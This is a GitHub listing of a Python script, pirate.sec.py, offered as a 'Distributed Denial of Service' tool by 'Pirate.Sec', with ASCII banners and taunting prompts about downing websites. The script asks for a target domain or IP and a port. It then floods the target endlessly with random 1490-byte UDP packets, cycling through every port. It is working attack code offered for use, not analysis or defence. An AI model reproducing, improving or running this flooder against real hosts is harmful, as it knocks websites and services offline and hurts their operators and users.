-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpirate.sec.py
227 lines (193 loc) ยท 8.96 KB
/
pirate.sec.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
'''
'''
from platform import system
import os
import time
import random
import socket
from urllib import request
import sys
path=os.getcwd()
path=os.path.join(path,'lib')
sys.path.append(path)
\
import colorama
from colorama import Fore,Back,Style
from tqdm.auto import tqdm
de_version="1.1"
colorama.init()
def clearConsole():
command = 'clear'
if os.name in ('nt', 'dos'):
command = 'cls'
os.system(command)
def ddos():
def banner():
clearConsole()
print(Fore.BLUE+'''
,-.
("O_)
/ `-/
/-. /
/ )
/ /
/-. /
(_)"-._ / ) Give me your port's.
"-._ "-'""( )/ /
"-/"-._" `. /
/ "-.'._ /
/\ /-._"-._
_,---...__ / ) _,-"/ "-(_)
___<__(|) _ ""-/ / / /
' `----' ""-. \/ / /
) ] / /
____..-' // / )
,-"" __.,'/ / ___ /,
/ ,--""/ / / /,-"" """-. ,'/
[ ( / / / / ,.---,_ `._ _,-','
\ `-./ / / / / `-._ """ ,-'
`-._ / / / /_,' ""--"
"/ / / /"
/ / / /
/ / / / "Cringe security? tut tut tut destroy it"
/ |,' /
: / /
________.__ / / __
\______ \__|___________ _/ |_ ____ ______ ____ ____
| ___/ \_ __ \__ \\ __\/ __ \ / ___// __ \_/ ___\
| | | || | \// __ \| | \ ___/ \___ \\ ___/\ \___
|____| |__||__| (____ /__| \___ > /\ /____ >\___ >\___ >
\/ \/ \/ \/ \/ \/
Distributed Denial of Service Attack by Pirate.Sec
'''+Style.RESET_ALL+Fore.GREEN+Style.BRIGHT+'''
Shall we down a website today sir? :3
------------------------------------------------------------------------
Warning do not use this tool if you have epilepsy or hate bright colour's
------------------------------------------------------------------------
instagram acc :) https://www.instagram.com/pirate_sec/
------------------
beta version 1.0
------------------
'''+Style.RESET_ALL)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1490)
def chech_con():
try:
request.urlopen('https://www.google.co.in/',timeout=3)
except KeyboardInterrupt:
print(Fore.RED+Style.BRIGHT + "you gonna leave without a hug? :(" + Fore.RESET)
exit()
except:
print(Fore.RED+Style.BRIGHT+'Fix your internet dude'+Fore.RESET)
exit()
try:
print(Fore.CYAN+Style.BRIGHT+"๐๐๐ก๐๐ค๐ข๐ ๐ก๐ค๐๐๐๐ฃ๐ ๐ฎ๐ค๐ช ๐๐ฃ.......... "+Fore.RESET)
for i in tqdm(range(30000)):
print(end=Fore.MAGENTA+Style.BRIGHT+'\r')
time.sleep(1)
chech_con()
except KeyboardInterrupt:
print(Fore.RED +Style.BRIGHT+ "you gonna leave without a hug? :(" + Fore.RESET)
exit()
try:
while True:
banner()
print(Fore.BLACK+Style.BRIGHT+"1."+Style.RESET_ALL+Fore.BLUE+" website domain"+Fore.BLACK+Style.BRIGHT+"\n2."+Style.RESET_ALL+Fore.RED+" IP adress"+Fore.BLACK+Style.BRIGHT+"\n3."+Style.RESET_ALL+Fore.GREEN+" leave :(")
opt=str(input(Fore.RED+Style.BRIGHT+"\n>>> "+Fore.RESET))
if opt=='1':
domain=str(input(Fore.CYAN+Style.BRIGHT+"type in your target site (ex: google.com):"+Fore.RESET))
ip=socket.gethostbyname(domain)
break
elif opt=='2':
ip = input(Fore.CYAN+Style.BRIGHT+"taregt's IP : "+Fore.RESET)
break
elif opt=='3':
time.sleep(1)
print(Fore.RED+"that was fun ( เฒ อสเฒ )"+Fore.RESET)
exit()
else:
print(Fore.RED+'the fuck u doing lol thats not a option'+Fore.RESET)
time.sleep(2)
port =int(input(Fore.CYAN+Style.BRIGHT+"Port number: "+Fore.RESET))
print(Fore.YELLOW+Style.BRIGHT+"starting....."+Style.RESET_ALL)
clearConsole()
time.sleep(2)
print(Fore.RED+Back.LIGHTGREEN_EX+"the kool fuck up site attack is starting......"+Style.RESET_ALL)
for i in tqdm(range(30000)):
print(end=Fore.MAGENTA+'\r')
time.sleep(1)
sent = 0
except Exception as e:
print(Fore.RED+'''
,---------------------------,
| /---------------------\ |
| | | |
| | ERROR 404 | |
| | (โฏยฐโกยฐ๏ผโฏ๏ธต โปโโป | | error this might help http://www.dolekemp96.org/main.htm
| | | | /
| | | | /
| \_____________________/ | /
|___________________________| /
,---\_____ [] _______/------,
/ /______________\ /|
/___________________________________ / | ___
| | | )
| _ _ _ [-------] | | (
| o o o [-------] | / _)_
|__________________________________ |/ / /
/-------------------------------------/| ( )/
/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ /
/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/-/ /
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
''')
print("Reason: ",e,Fore.RESET)
time.sleep(3)
ddos()
try:
while True:
sock.sendto(bytes, (ip,port))
sent=sent+1
port=port+1
color_list = [Fore.RED+Style.BRIGHT+Back.MAGENTA, Fore.GREEN+Style.BRIGHT+Back.RED, Fore.YELLOW+Style.BRIGHT+Back.GREEN, Fore.BLUE+Style.BRIGHT+Back.CYAN, Fore.MAGENTA+Style.BRIGHT+Back.WHITE, Fore.CYAN+Style.BRIGHT+Back.BLUE, Fore.WHITE+Style.BRIGHT+Back.RED ]
color_random = random.choice(color_list)
print(color_random+"packet% s sent% s through port:% s" % (sent, ip, port))
if port==65534:
port=1
elif port==1900:
port=1901
except Exception as e:
print(Fore.RED+Style.BRIGHT+'''
__ has it been done master?
< \ /
[\\\\\\(\ (:::<======================================-
\< > \
\\ / |
`==='____/
''',e,Fore.RESET)
time.sleep(3)
ddos()
except KeyboardInterrupt:
print(Fore.RED+'''
Attack quit by user.
'''+Style.RESET_ALL+Fore.GREEN+Style.BRIGHT+'''
_______ _______ _______ ______ _______ __ __ _______
| || || || | | _ || | | || |
| ___|| _ || _ || _ || |_| || |_| || ___|
| | __ | | | || | | || | | || || || |___
| || || |_| || |_| || |_| || _ | |_ _|| ___|
| |_| || || || || |_| | | | | |___
|_______||_______||_______||______| |_______| |___| |_______|
โโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโ โโโ
โโโโโ โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโโโโโโโโโโโโโโโโโโโโโโโโโ
โโโโโ โโโโ โโโโ โโโโ
'''+Style.RESET_ALL)
ddos()